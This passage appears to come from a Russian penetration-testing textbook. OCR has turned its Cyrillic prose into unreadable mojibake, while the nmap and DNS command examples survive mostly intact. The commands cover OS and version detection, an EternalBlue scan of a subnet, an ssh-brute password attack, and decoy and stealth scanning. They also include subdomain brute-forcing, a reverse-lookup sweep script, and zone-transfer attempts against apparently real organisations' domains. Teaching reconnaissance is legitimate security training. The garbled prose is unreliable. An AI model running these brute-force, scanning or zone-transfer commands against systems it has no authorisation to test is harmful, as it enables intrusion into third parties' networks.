cucrembl ipu 06paboTke pazandabix TCP- 1 UDP-3anpocos, Harpumep peaxkiun
Ha SYN-TIaKkeTs!, MOMBITKY MTOKIIOYEHNS K 3aKPBITHIM TIOPTAM UM HENPABUIBHO
chopMuUpOBaHHbIE MTAKETD;

peaxius cucTeMsl Ha pasiaunaable [CMP-3ampocsr, B TOM dnciie 9X0-3aPOCH
(ping);

HAJIMYKE OTMPEICTIEHHBIX OTKPHITHIX TOPTOB U CJy/KO HA TIEJIEBON cucTeMe, KOTo-
poe Takske MOKeT TOMOYb NMap CIeJIaTh BBIBO O THUIIE OIIEPAIMOHHON CUCTEMBI.

IIJIH Oorpe/iesIeHrA THUIIa OHepaHI/IOHHOﬁ CHUCTEMDI NINap NUCIIOJIb3YET O6H_H/IpHyIO 633y
JTAaHHBIX ITPU3HAKOB OC, KOTOpasd MoCTOAHHO 06HOBIIAETCA 1 pacuimpAeTCca COO6H.[€-
CTBOM II0JIb30BaTEJICH.
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Bcerypa moMHITE O TOM, UTO 3TOT METOJI MOKET BO3BPAIATh JIOKHBIE PE3YJIbTATHI.
IT0 00YCIOBIEHO HECKOJIBKUMU TIPHUITHAMIL

OTIEePAIMOHHDIE CUCTEMBI TOCTOSIHHO OOHOBJISIOTCSI U U3MEHSTIOTCS. ITO MPH-
BOJINT K M3MEHEHWTO PA3JNYHBIX XapaKTEePUCTHUK, YTO YCJIO0KHSIET OnpeesieHne
KOHKPETHOW BePCUN UJIN TUIIA CUCTEMBI;

BO3MOKHOCTb HacTpoiiku mapameTpoB creka TCP/IP B HekoTopbIxX orepaiiu-
OHHBIX CHUCTEMaX 3aTPYyAHSeT UX UAeHTU(HUKAINIO, TaK KaK afIMIHUCTPATOPHI
MOTYT U3MEHSTH TTapaMeTphl JIJist oOecredeHust 6e30MacCHOCTH U TIPOU3BO-
JINTEJBHOCTH;

MesKCeTeBble 9KPaHbl, CHCcTeMbl 00HapyskeHus Bropskernii (IDS) u apyrue cpen-
CTBa 3aIIUTHI MOTYT (DUIBTPOBATH WJIN U3MEHSThH CETEBOU TpaduUK, YTO 3aTPY/I-
Hs1eT cO0P TOYHBIX JAHHBIX O LIEJEBON CHUCTEME;

6aza manHbix mprusnakoB OC MOKeT cofepkKaTh OMUOKN WIH YCTapeBIyIO WH-
opmaruio.

Huke IpeacTaBJI€H IPUMED OIpeAe/ICHUS OCmna O/THOM U3 XOCTOB, B HalllEM CJiy4dae
BCE Cpa6OTaJIO JIOCTATOYHO TOYHO!

itsecbook@kali:~# nmap -0 192.168.91.131

[sudo] password for itsecbook:

Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-01 10:59 EDT
Nmap scan report for 192.168.91.131

Host is up (0.00063s latency).

Not shown: 997 closed tcp ports (reset)

PORT STATE SERVICE

22/tcp open ssh

80/tcp open http

443/tcp open https

MAC Address: 00:0C:29:2B:51:70 (VMware)

Device type: general purpose

Running: Linux 4.X|5.X

OS CPE: cpe:/o:linux:1linux_kernel:4 cpe:/o:linux:linux_kernel:5
0S details: Linux 4.15 - 5.6

Network Distance: 1 hop

0S detection performed. Please report any incorrect results at https://nmap.
org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1.95 seconds

MonyuyeHne 6aHHepa

Mol yske paccMaTpuBasy OAHHEDPB CETEBBIX CEPBUCOB B OJIHOM U3 TPEABIIYIIX
pas/iesioB, I109TOMY OIpaHUYUMCS KpaTKuUM HallomuHanueM. bannep cereBoro
cepBuca — 310 HHGOPMAIHOHHOE COOOIIEHIE, OTIIPABIISIEMOE CETEBBIM CEPBUCOM
IPY YCTAHOBJIEHUM COEJANHEHUs ¢ HUM. BaHHEePbI 00BIYHO COAEPIKAT CBEACHMS
O THUIIE U BEPCUU CEPBUCA, YTO MOKET OBITH TOJIE3HO JIJISI ONIPE/IEJIEHUST YSI3BUMOCTEN
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U HACTPOIKM aTtaku. YUTuTe, 4To HHMOPMaIis, cojepsKallascs B baHHepax, He
Beerja ObIBAaeT IPaBAMBOI, YACTO AIMUHUCTPATOPBI MEHSIOT €€ C LeJIbI0 3aIlyTaTh
aTaKyIoIero.

IMosryunm GaHHEp, UCIOJAB3YST NMap, [JsI Yer0 YKaKeM TapaMeTp -sV, KOTOPbIH,
KOHEYHO, MOJKHO O0BEIUHATD C IPYTHUMU MapaMeTPaMHU:

itsecbook@kali:~# nmap -sV -A -sT 192.168.91.131
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-01 11:07 EDT
Nmap scan report for 192.168.91.131
Host is up (0.00072s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9pl1l Ubuntu 3ubuntu@.1 (Ubuntu Linux; protocol
2.0)
| ssh-hostkey:
| 256 d5df3aa@cd9d27198b30beaada3alfc2 (ECDSA)
| 256 a77192dd53f5cffO7fc51782a48619cf (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
| _http-title: Apache2 Ubuntu Default Page: It works
443/tcp open ssl/http nginx
| _ssl-date: TLS randomness does not represent time
| tls-nextprotoneg:
| http/1.1
| ssl-cert: Subject: commonName=edem
| Subject Alternative Name: DNS:edem
| Not valid before: 2023-01-30T09:36:05
|_Not valid after: 2033-01-27T09:36:05
| tls-alpn:
| http/1.1
|_http-title: Apache2 Ubuntu Default Page: It works
MAC Address: ©0:0C:29:2B:51:70 (VMware)
Device type: general purpose
Running: Linux 4.X|5.X
0S CPE: cpe:/o:1linux:1linux_kernel:4 cpe:/o:linux:linux_kernel:5
0S details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT ADDRESS
1 0.73 ms 192.168.91.131

0S and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.07 seconds

NSE (map Scripting Engine)

Nmap Scripting Engine (NSE) — BcTpoeHHBINI B nmap WHCTPYMEHT, KOTOPBIi TT0-
3BOJIsIeT aBTOMATU3UPOBATD U PACLIMPATH BO3ZMOMKHOCTH CKAHUPOBAHUS C IIOMOLIBIO
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HaMMCaHHBIX Ha s13bike Lua ckpunroB. CKPUNITHI 06JIErYaioT BBIIOJTHEHIE TAKUX 32a-
nad, kKak c60p HHPOPMAIIK O CepBUCaX, OOHAPYIKEHIE YSI3BUMOCTEH 1 TIPOBEICHIE
CJIOKHBIX aTak, jiesias nmap 6osiee TiOKUM ¥ MOIIHBIM HHCTPYMeHTOM. [TpuBenem
HECKOJIbKO TIPUMepoB Hcnosb3oBanus NSE st obserdenus ayaura uHdopMaiu-
OHHBIX CHCTEM.

Coop undopmamum o ceppucax. [TponcxoauT CKaHUPOBaHUE BCEX XOCTOB B yKa-
3aHHOIT MOJICETH U BBIBOJ] 3aTOJIOBKO BEG-CTPAHUIL, pa3MeleHHbIX Ha mopre 80:

#nmap -p 80 --script http-title 192.168.1.0/24

OGHapy:keHue ysa3BuMocTeil. B atom npumMepe namp uiier ysissuMoctbh MS17-
010 (EternalBlue) B SMB-cepBrice X0CTOB yKa3aHHOI TTOCETH:

#nmap -p 445 --script smb-vuln-ms17-010 192.168.1.0/24

IToaGop napsl oruH U napojb. Nmap nposoaut 6pyrdopc-ataku Ha SSH-
cepBepbI B YKa3aHHOU TTOJICETH, UCTIOJIb3YsI CITMCOK UMEH T0JIb30BaTeeil (users.
txt) u maponeit (pass.txt):

#nmap -p 22 --script ssh-brute --script-args userdb=users.txt,passdb=pass.txt
192.168.1.0/24

Apyrve napameTpbl

Hixe npuBoauTCS CIIMCOK JAPYTUX TTOMYJISIPHBIX TAPaMETPOB 3allycKa nmap ¢ Kpart-
KUMU KOMMEHTapUsAMU:

-V — yBeJIMYUBAET YPOBEHb noApoObHOCTH oT4eTa. MOKHO HCIOIb30BATh -VV
W —vvv:nmap - vv 192.168.1.1;

-T — 1I03BOJIsIET HACTPOUTDH CKOPOCTh CKAaHMPOBAHUA. TO SIBJSIETCSI CAMbIM MeJI-
JIEHHBIM, a T5 caMbIM 6bICprIM: nmap -T4 192.168.1.1;

-Pn — co00IIaeT nmap 0 TOM, 4TO XOCT JIOCTYIICH, U CPasy MePEeXOJNT K CKaHMW-
POBAHUIO TIOPTOB, MUHYST 3TATl OOHAPYKEHUS XOCTa. ITO MOXKET OBIThH TIOJIE3HO
B cayyae, Korja 6siokupyiorcss ICMP-3arnpocst;

-iL — ompegenseT haiin ¢ mepedHeM 1esiel s JaabHeHTero CKaHmpoOBaHNS:
nmap -ilL targets.txt;

-oN — coXpaHseT pe3yJibTaThl CKAHUPOBAHUS B TEKCTOBBIN (aily: nmap -oN
output.txt 192.168.1.1;

-0X — COXpaHseT pe3yabTaThl ckanupoBanus B (popmare XML: nmap -oX output.
xml 192.168.1.1;

-6 — HUcToJb3yeTcd /s ckanupoBanust [Pv6-agpecos: nmap -6 IPv6_aapec;

-D — I03BOJIIET UMUTHUPOBATH «30MOU»-XOCThI st 00 yCKay UCTOYHNKA
CKaHUpPOBaHUA: nmap -D RND:10 [uenb];

-sF, -sX, -sN — HabOP UCTIOIB3YETCSI LIS BBITIOTHEH S CKPBITOTO CKAHUPOBAHUST
pasnnunbix tunos (FIN, Xmas u Null coorsercTBenHo), KOTOpbie MOTYT IIPOUATH
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He3aMeUYeHHBIMUY TSI HEKOTOPBIX CHCTeM OOHAPYsKEHUsI BTOPKEHUI: nmap -sF
192.168.1.1.

MNonyyeHne nHgopmaumm ot DNS-cepsepoB

Cucrema nomennbix uMen (DNS) aBigercss BaHON KOMIIOHEHTOI ceT€BO MH-
(bpacTpyKTypbl, BHIIOJIHAIONEH (PYHKIMIO IPpeobpasoBaHust JOMEHHbIX uMeH B IP-
azpeca u obpaTHo. Brarogapst nadopmaiiu, nosrydaemoit ot DNS-cepBepa, MOKHO
COCTABUTh CIIUCOK ITyOJIMYHBIX BHEIIHUX, a IIOPOU U BHYTPEHHKUX CEPBEPOB, KOTOPbIE
WCIIOJTB3YIOTCS 11eJIEBO OpPTaHn3alI[nen.

MpuHUMN paboTbl

DNS upezcrasisier co6oil pactpejiesieHHY0 6a3y JaHHBIX, OPraHU30BaHHYIO 110
HuepapxuyecKoMy TPUHIUITY. Bee JoMeHHble TMEHA Pa3OMBAIOTCST HA 30HBI OTBET-
CTBEHHOCTH, HAYMHAS ¢ KOPHEBOIT 30HBI, B KOTOPOIT COZIEP;KATCS CCHIIKH HA CePBEPHI
nomenoB BepxHero ypoBHd (TLD). Kaxaerit TLD (wanpumep, .com, .org, .net) co-
JICPKUT CCBIJIKU Ha CEPBEPBI IOMEHOB BTOPOTO YPOBH:, KOTOPbIE, B CBOIO OYepe/lb,
MOTYT CO/IEPKATDh CCHLIKU HAa CEPBEPHI IOMEHOB TPETHETO YPOBHS, U T. /1. (PUC. 4.5).

DNS-root 30Ha

30HbI
1-ro ypoBHsA .com .ru .net
®
30HbI google.com
2-ro ypoBHA mail.com ® T vk.ru
30HbI L L
3-ro ypoBHA mail.google.com m.vk.ru

Puc. 4.5. lepapxva JOMEHHbIX 30H

Korzma kimenTckas cucteMa BoinosHser sanpoc DNS, manpumep, s mpeobpaso-
BaHus uMeH www.example.com B IP-anpec, DNS-kimeHT oOpaliaercst K OIHOMY U3
KopHEBBIX DNS-cepBepoB. ITOT cepBep, He MMes MPSIMO WHMOOPMAIIUH O 3aIpPo-
NIEHHOM JIOMEHe, HAIIPaBJISIeT 3alPoC K CepBepy JO0MeHa BEpXHETro ypoBHs (.com
B HanteM cayudae). Cepsep TLD 3Haer, T/1e HaX0UTCS CePBEP JIOMEHA 2-TO YPOB-
us (example.com), u nepenamnpasisger sanpoc K Hemy. Hakoner, cepsep qoMeHa
2-10 ypOBHS MOXKET rpepoctaButh [P-anpec aist www.example.com (puc. 4.6).
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Puc. 4.6. Cxema 3anpoca

Tunbl 3anucen

CymiectByeT HecKOIbKO THITOB DNS-3amuceii, KasKablit 13 KOTOPBIX MPEICTABISET
orpe/ieJieHHbIH Bu nHboOpManuu o goMere. [IpuBesieM HeKOTOpbIE U3 Hauboiee
4yacTo ucnoJibdyembix TurioB DNS-3armnmceii:

e A (Address) — cBsizbiBaeT moMeHHOe UMst ¢ IPv4-aapecom: example.com A
192.168.1.1,

o AAAA (IPv6 Address) — cssbiBaeT gomentoe umMs ¢ IPv6-agpecom: example. com
AAAA 2001 :0db8:85a3:0000:0000:8a2e:0370:7334;

® CNAME (Canonical Name) — ykasbiBaeT Ha KaHOHHUYECKOe UM (ajIMac) JOMEHa,
TI03BOJISIST COCTTATBCS HA IPYTOI JoMeH: mail.example. com CNAME example. com;

e MX (Mail Exchange) — omnpenesier, Kakue MOYTOBbIE CePBEPHI OOCTYKIUBAOT
JIaHHyIo 30HYy: example.comMX 1@ mail.example. com;

e NS (Name Server) — ykaspiBaeT aBTOPUTETHBIE CEPBEPbI UMEH [IJIsT IAHHOTO JI0-
MeHa: example.com NS nsl.example.com;

e PTR (Pointer) — ucnosbsyercs st o6patHoro npespaiienus [P-agpeca B 10-
MeHHoe Mst (06BIYHO Uist TpoBepKu o6patHoro DNS): 1.1.168.192.in-addr.
arpa PTR example. com;

® SOA (Start of Authority) — comepxutr nadopMannio 06 aBTOPUTETHOM CepBepe
JIOMEHa, a TAKKe MapaMeTpbl 0OHOBJIEHVSI M BpEMEHU JKU3HU 30HBI: example . com
SOA nsl.example.com admin.example.com (1 7200 3600 1209600 86400);

® SRV (Service) — ompesessseT MeCTOIOJMOKEHNE U TTapaMeTPhl TAKUX CIIEeIH-
duveckux cayx06, kak SIP uimn LDAP: _sip._tcp.example.com SRV @ 5 5060
sipserver.example.com;
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e TXT (Text) — comepKUT TeKCTOBbIE IaHHBIE, KOTOPbBIE MOTYT MCTIOTb30BATHCST /IJIST
pasyin4HbIX 1esteit: Bepudukanum gomena, SPF-zarmicu nimm DKIM: example. com
TXT "v=spflmx -all";

e CAA (Certification Authority Authorization) — nosBoJisieT ykasarb, Kakue cep-
TUKAIMOHHBIE TIEHTPBI MOTYT BBITTYCKAaTh CePTU(MUKATHI IS JAHHOTO IOMeHa:
example.com CAA @ issue "letsencrypt.org"”.

3uaunmocTtb DNS g hyHKIIMOHUPOBAHWS UHTEPHETA TPYIAHO repeolieHnTb. Ona
obecrieanBaeT y00CTBO B3AUMOJIEHCTBISI ¢ PECYpPCAMU HHTEPHETA, TTO3BOJISIST UCTIOb-
30BaTh MOHATHBIE YEJIOBEKY MMeHa BMeCTO YncioBbix [P-aspecos. Bosiee Toro, DNS
n00aBJIsieT THOKOCTD B YIIPABJIEHHE CETEBBIMU PECYPCAMH, TIO3BOJISISI TEPEHAITPABIISATH
Tpaduk MexIy cepBepamMi 6e3 HeOOXOIMMOCTH U3MEHSITh IOMEHHBIE MEHA.

B3anmopencTeume c DNS

BsaumozeiictsoBath ¢ DNS-cepBepoM MOKHO HECKOIBKUMHE Pa3IMYHbIME CIIOCO0A-
M1, HaripuMep, depes yrunuty nslookup i ee 6ostee pyHKImoHANbHDIN aHasor dig.

Ha6pas cienyrouryo koMaHay, Mbl HarpasuM DNS-zanpoc k Ttomy DNS-cepsepy,
KOTOPBIN yKazaH B Hammux HacTpoiikax TCP/IP coennnenus:

itsecbook@kali:~# dig japantoday.com

; <<>> DiG 9.18.12-1-Debian <<>> japantoday.com

;5 global options: +cmd

;5 Got answer:

;5 ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 8454

;5 flags: gr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: ©, ADDITIONAL: ©

53 QUESTION SECTION:
;japantoday.com. IN A

55 ANSWER SECTION:
japantoday.com. 5 IN A 174.143.186.153

;5 Query time: 3 msec

55 SERVER: 192.168.91.2#53(192.168.91.2) (UDP)
55 WHEN: Tue May 02 ©05:20:58 EDT 2023

;5 MSG SIZE rcvd: 48

B marHoM ipuMepe Mbl o6paTuirch K gokaapHomy DNS (192.168.91.2) u sanpocuym
[P-anpec nist tomena japantoday . com. DNS-cepBep mosyuns janHbie, cojiepskaiiu-
ecsl B 3aITUCH A, M BEPHYJI HAM OTBeT 174.143.186.153.

C momotpio Toro ke dig MOKHO MOTYIUTD CITUCOK MOYTOBBIX CEPBEPOB, UCTIOIB3Y-
€MBIX JJAHHOW OpTaHu3aInien:

itsecbook@kali:~# dig japantoday.com mx +short
5 alt2.aspmx.l.google.com.
1 aspmx.l.google.com.
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10 aspmx2.googlemail.com.
10 aspmx3.googlemail.com.
5 altl.aspmx.l.google.com.

O6paruTe BHUMaHKE, 4TO BosJe Kaxkaoi MX-samucu Haxoaures yncao — 1, 5, 10.
JanHoe yuico 0603HaYaeT IPUOPUTET IIOUTOBBIX cepBepoB. Hampumep, korzaa 11o-
YTOBBIN areHT MOTbITAeTCs J0CTaBUTh e-mail a1 qomena japantoday.com, oH cHa-
4aJia MoIbITAETCS COEJIMHUTBCS C CEPBEPOM, IPUOPUTET KOTOPOTO paBeH 1, U TOJIBKO
B cJIydyae Heyauu Oy/IeT MbITaThCsl YCTAHOBUTD COEIMHEHIE C CEPBEPOM, HMEIOTITIM
GoJiee BBICOKMIT mpropuTeT. B 1TaHHOM IpuMepe mapamMerp +short yKasblBaeT, 4To
MbI XOTUM TTOJYYUTh MUHUMYM TeXHIYecKoi nadopmarn. CpaBHUTE pe3yJibraT u3
MIEPBOTO MTPUMEPA € Pe3YJIBTATOM U3 BTOPOTO, U BbI CAMU YBUIUTE PA3HUILY.

Tenepn npoanamuaupyem TXT-3amucu:

itsecbook@kali:~# dig japantoday.com txt +short
"facebook-domain-verification=cx8cwfagdgqu8e6clt3qoby5jianvl”
"google-site-verification=BvHmXgmPr9ZcWFTLxeZDolxSQwTYx_r8BUesX_ f-400"
"google-site-verification=DXUN1aw6GAT6wuOxqQTUtqp64W_RGc-_z@6VVHAXG1U"
"kkk311mjmod@29n3a4md9lsel5"

"v=spfl ip4:104.130.137.230 ip4:23.253.107.195 ip4:23.253.124.201
ip4:23.253.125.69 ip4:23.253.238.186
ip6:2001:4800:7818:103:be76:4eff:fe04:b27a
ip6:2001:4800:7817:104:be76:4eff:febd:edfc
ip6:2001:4800:7817:103:be76:4eff:fe04:d013 1p6:2001:4800:7817:104:b"
"e76:4eff:fe04:9d1c include:_spf.google.com include:amazonses.com
include:spf.mandrillapp.com include:_spf.salesforce.com include:spf.mailjet.com
~all"

YT0o MBI MOKEM y3HATh MHTEPECHOTO U3 Pe3yJibrata 3armpoca? Bo-1mepBbix, 4To maHHast
opranusanust ucrosbayer Google n Facebook st cbopa cratnerimdeckoit nabopma-
IIUY U, CKOPee BCETO, /I OTCIEKUBAHNUS IeHCTBUI ToJIb30BaTeseil. Bo-BTOPBIX, MbI
MOJKeM y3HATh, KAKIM CEPBePaM PaspeleHo OTIPABJIATH 9JIEKTPOHHYIO TIOUTY, IIPHU-
HaJIJIeKalIyo JoMeny japantoday.com. Dto ugaao B SPF-3anucu. Ctout 0TMeTHTD,
4TO cepBepbl, 0OpabaThIBAIOIINE BXOISAIIYIO MOUTY, epeuncaeHbl B MX-3amucsx,
a cepBepbl, UMEIOIIIE IPABO OTHPABJITH nouty, — B SPE 31ech Toxe ecTb MHOTO
TOHKOCTEH U UCKITIOYEHHT, HO cefiuac Mbl He Oy/IeM B HUX YTIyOISTHCS.

[Tonpobyem mosyunth NS-zanucu:

itsecbook@kali:~# dig japantoday.com ns

; <<>> DiG 9.18.12-1-Debian <<>> japantoday.com ns

;5 global options: +cmd

;5 Got answer:

;5 ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 50256

;5 flags: gr rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 2, ADDITIONAL: 4

55 QUESTION SECTION:
;japantoday.com. IN NS

55 ANSWER SECTION:
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japantoday.com. 5 IN NS dns2.stabletransit.com.
japantoday.com. 5 IN NS dnsl.stabletransit.com.
55 AUTHORITY SECTION:

japantoday.com. 5 IN NS dnsl.stabletransit.com.

japantoday.com. 5 IN NS dns2.stabletransit.com.

;5 ADDITIONAL SECTION:

dns2.stabletransit.com. 5 IN A 65.61.188.4
dnsl.stabletransit.com. 5 IN A 69.20.95.4
dnsl.stabletransit.com. 5 IN A 69.20.95.4
dns2.stabletransit.com. 5 IN A 65.61.188.4

;5 Query time: 3 msec

55 SERVER: 192.168.91.2#53(192.168.91.2) (UDP)
;5 WHEN: Tue May 02 ©5:36:09 EDT 2023

;3 MSG SIZE rcvd: 176

Mol oJIydnsIu ajipeca IBYX cepBepoB. Jta NHGOPMAIIHS MOKET TTOHALOOUTHCS
B JIAJIbHENIIIEM [TPH TIOTIBITKE TO00PaTh MEHA CEPBEPOB WJIU MEPEIATH 30HY.

MNepebop AOMEHHbIX MMEeH

K coskamemnio, B 00BIYHBIX 06CTOATENBCTBAX HUKTO HE TPETOCTABUT HAM CITUCOK
BCEX JIOMEHHBIX UMEH. B JJaHHOM KOHTEKCTe Hac, KOHEYHO, HHTEPeCcyIoT A-3alucH.
Emuncreennoe, uto Mbl MokeM mosryauTh ot DNS-cepBepa, — [P-aznpec, ecim ums
CYILECTBYET, UJIK OTBET O TOM, YTO UMEHM He CYIIeCTBYeT.

JlaHHBIN METO/] OCHOBAH Ha TIOTIBITKE YTaJlaTh IOMEHHbIE UMEHA CEPBEPOB, UCTIOJIb-
3yeMbIX KoMmanuei. YacTo aTo 6BIBAET MOJIE3HO, Tak KaK UMsI cepBepa 0OBITHO
oTpaskaer ero cogep:kanve. Hanpumep, cepsep ¢ umeneM firewall japantoday.com,
cKopee Bcero, Oyzer aBisThes (pailepBoJIOM JaHHONW OpraHu3aluu.

Jlist mamHol 3a/1a4M OYeHb XOPOIO MOAXOAUT YTUINTA host, BXozsast B cocTas
aucTpubyTuBoB Linux:

itsecbook@kali:~# host sol.japantoday.com
Host sol.japantoday.com not found: 3(NXDOMAIN)

itsecbook@kali:~#  host www.japantoday.com

www.japantoday.com is an alias for japantoday.com.
japantoday.com has address 174.143.186.153

japantoday.com has IPv6 address 2001:4800:7901:0:fa05:ca66:0:1
japantoday.com mail is handled by 106 aspmx3.googlemail.com.
japantoday.com mail is handled by 5 alt2.aspmx.l.google.com.
japantoday.com mail is handled by 10 aspmx2.googlemail.com.
japantoday.com mail is handled by 1 aspmx.l.google.com.
japantoday.com mail is handled by 5 altl.aspmx.l.google.com.
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COI‘HaCI/ITer, qTOo Hep€6I/IpaTb VM€EHa BPYYHYIO — 3a/la4a IMOUCTUHE TUTaHUYeCKad.
Y1061 ABTOMATHU3WPOBATh JIaHHYIO 3a/la4y, HaM HY’KEH (bal?m CO CIIMCKOM BO3MOJK-
HbIX UMeH. Takoi (1)8.171.71 MO>KHO HAlTU B HMHTEPHETE NJIN COCTaBUTHb CaMOCTOSATEbHO.

[l npuMepa cospazum daiin dns-names.txt, B KOTOPOM, 110 OJHON B CTPOKE, OYAYT
pacriosaraTtbCs CJIeAyIONNe 3anucu: mail, dns, ftp, file, vpn, test, dev, prod, voip,
firewall:

itsecbook@kali:~# cat dns-names.txt
mail

dns

ftp

file

vpn

test

dev

prod
voip
firewall
Www

Tenepsb caesaeM HeGoJbINON UK Ha Bash 1y mepeGopa Bcex TOMEHHBIX UMEH,
YKa3aHHBIX B (haiise:

itsecbook@kali:~# for ip in $(cat dns-names.txt); do host $ip.japantoday.com;
done

mail.japantoday.com mail is handled by 10 feedback-smtp.us-west-2.amazonses.
com.

Host dns.japantoday.com not found: 3(NXDOMAIN)

Host ftp.japantoday.com not found: 3(NXDOMAIN)

Host file.japantoday.com not found: 3(NXDOMAIN)

Host vpn.japantoday.com not found: 3(NXDOMAIN)

Host test.japantoday.com not found: 3(NXDOMAIN)

Host dev.japantoday.com not found: 3(NXDOMAIN)

Host prod.japantoday.com not found: 3(NXDOMAIN)

Host voip.japantoday.com not found: 3(NXDOMAIN)

Host firewall.japantoday.com not found: 3(NXDOMAIN)
www.japantoday.com is an alias for japantoday.com.
japantoday.com has address 174.143.186.153

japantoday.com has IPv6 address 2001:4800:7901:0:fa05:ca66:0:1
japantoday.com mail is handled by 5 altl.aspmx.l.google.com.
japantoday.com mail is handled by 10 aspmx2.googlemail.com.
japantoday.com mail is handled by 1 aspmx.l.google.com.
japantoday.com mail is handled by 5 alt2.aspmx.l.google.com.
japantoday.com mail is handled by 10 aspmx3.googlemail.com.

Butaroapst ipoekty SecLists BbI MOKeTe UCIIOJIBb30BATH OOJIEE MOJHBIE CIIUCKH HMEH
1t 1iepebopa. YeTaHaBIMBaIOTCS OHU OIHOM KOMaH/0ii sudo apt install seclists,
ocJie 4ero B IMPEeKTopuH /usr/share/seclists mosiBsaTcst HyKHbIE BaM (haiiJIbl.
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MNMepebop 0bpaTHbIX 3anucen

IMomyuns IP-apeca TaHHON OPraHU3aIiN ¢ TIOMOIIBIO cepBrca Whois, MBI MOJKEM TI0-
BITATHCS OCYIIECTBUTD Mepebop 06PATHBIX 3aIHCel, NCTIOMb3YsI Ty e yTuinTy host:

itsecbook@kali:~# host 81.17.70.138
138.70.17.81.in-addr.arpa domain name pointer abouttest.landmarkgovernment.
co.uk.

Kakus TIpeAbIAYIIEM C/Iydae, Mbl MOKEM aBTOMATU3NPOBATDH IIaHHbeI IIporiecc C 1o-
MOIIIBbIO CKPUIITA:

#!/bin/bash
echo "Please enter network range eg: 194.29.32:"

read range

for ip in “seq 1 254" ;do

host $range.$ip |grep "name pointer" |cut -d" " -f5
done

B nanHoM ckpuImiTe CYMTHIBAETCS BBEJEHHOE MOJIH30BATEIEM 3HAYEHNE, A UMEHHO TPU
okreTa ceTH kjaacca C, a 3aTeM, € [IOJCTaBICHUEM B MOCJAEIHNN OKTET 3HAYE€HUN OT
1 10 254, BinosHsIeTCsl KOMaH/a host s Kaskioro ajapeca. B pesysibrare nosydnm
cJeaylolye Januble, CPeA KOTOPLIX MOXKHO HallTH KOe-4To MHTEePeCHOe — TeCTOBbIe
cepBepbl uK koHcosib DNS-cepsepa:

2.70.17.81.in-addr.arpa domain name pointer adsl-2.swisp.co.uk.
3.70.17.81.in-addr.arpa domain name pointer asdl-3.swisp.co.uk.
4.70.17.81.in-addr.arpa domain name pointer asdl-4.swisp.co.uk.

100.70.17.81.in-addr.arpa domain name pointer landmark.mail.swisp.co.uk.
124.70.17.81.in-addr.arpa domain name pointer mail@l.landmarkgovernment.co.uk.

125.70.17.81.in-addr.arpa domain name pointer mail@2.landmarkgovernment.co.uk.
129.70.17.81.in-addr.arpa domain name pointer api.landmarkgovernment.co.uk.
130.70.17.81.in-addr.arpa domain name pointer nsoclone.landmarkgovernment.co.uk.
138.70.17.81.in-addr.arpa domain name pointer abouttest.landmarkgovernment.
co.uk.

MNepenaya 30HbI DNS

IMTepenaua 3oubr DNS (DNS zone transfer) — 910 mpoiece konupoanus (M pe-
mKaiun) daiia 6asel ganHbix DNS ¢ 01HOTO cepBepa Ha APyroil. ITOT mpoiece
UCIIONB3YETCs 151 00ecIIeueHrsl OTKa30yCTOYMBOCTU. B HeM IIpUHUMAEeT yyacTie
KJIMEHT, 3allpaliiBaionIMii lepejady yacTh JaHHbIX 13 6asbl, 1 cepBep, IPeJoCTaB-
JISTIOTIUH 3TH JJaHHble. B HEKOTOPBIX NCTOYHUKAX OHU HA3BIBAIOTCSI COOTBETCTBEHHO
BTOPUYHBIM M TIEPBUYHBIM CEPBEPAMI.

Ecim DNS-cepBep HacTpoeH HEMPaBUIBHO W pa3pelaeT HeaBTOPU30BAHHYTO Tiepe-
Jlady 30HbI, 3JIOYMBINIJIEHHUK MOXKET MTOJIYYUTD MOJIHBIH crincok 3anuceit DNS st
JIOMeHa, BKodast umeHa u [P-agpeca XocToB. DT0 06/1eryuT gaibHeiinme aTaku —
dummHr, cryGUHT WK aTaku Ha BeG-cepBepbl. K coKaieHno, HEKOTOPbIe aJMU-
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HUCTPATOPbI HETIPABUIbHO KOHGUTYpUPYIOT cBor DNS-cepBeps! 1 niepeiaqy 30HbI
[OJIyYaeT KasK/blil, KTO 3alpalliiBaeT ee.

Ocy1iecTBUTD mepeady 30HbI MOKHO JIByMst yTrinTamu Linux: host uiwm dig.

ITonpobyeM oCyIeCTBUTh MEPEHOC 30HBI OUTHI ABCTPAJIHN:

itsecbook@kali:~# host -t ns auspost.com.au
auspost.com.au name server k4.nstld.com.
auspost.com.au name server g4.nstld.com.
auspost.com.au name server a4.nstld.com.
auspost.com.au name server 14.nstld.com.
auspost.com.au name server f4.nstld.com.
auspost.com.au name server j4.nstld.com.

itsecbook@kali:~# host -1 auspost.com.au k4.nstld.com
; Transfer failed.

Using domain server:

Name: k4.nstld.com

Address: 192.52.178.33#53

Aliases:

Host auspost.com.au not found: 5(REFUSED)
; Transfer failed.

Komanza host -t ns auspost.com.au Beiz1asa HaMm ajipeca NS-cepBepoB /i1 joMeHa
auspost.com.au. Komanioii host -1 auspost.com.au k4.nstld.com MbI TOIBITATUCH
OCYIIIECTBUTD IIEPEHOC 30HbI, HO HEYAAYHO.

PaccmoTpuM 1iepeHoc 30HbI JIPYyTOro cepBuca:

itsecbook@kali host -t ns netstat.dumhost.com
netstat.dumhost.com name server sahandl.netstat.dumhost.com.

itsecbook@kali:~# host -1 netstat.dumhost.com sahandl.netstat.dumhost.com
Using domain server:

Name: sahandl.netstat.dumhost.com

Address: 19.67.20.162#53

Aliases:

netstat.dumhost.com name server sahandl.netstat.dumhost.com.
basij.netstat.dumhost.com has address 19.67.20.167
emailserver.netstat.dumhost.com has address 19.67.20.169
inis.netstat.dumhost.com has address 19.67.20.164
inra.netstat.dumhost.com has address 19.67.20.167
mail.netstat.dumhost.com has address 19.67.20.169
nepton2.netstat.dumhost.com has address 19.67.20.167
ns3.netstat.dumhost.com has address 19.67.20.162
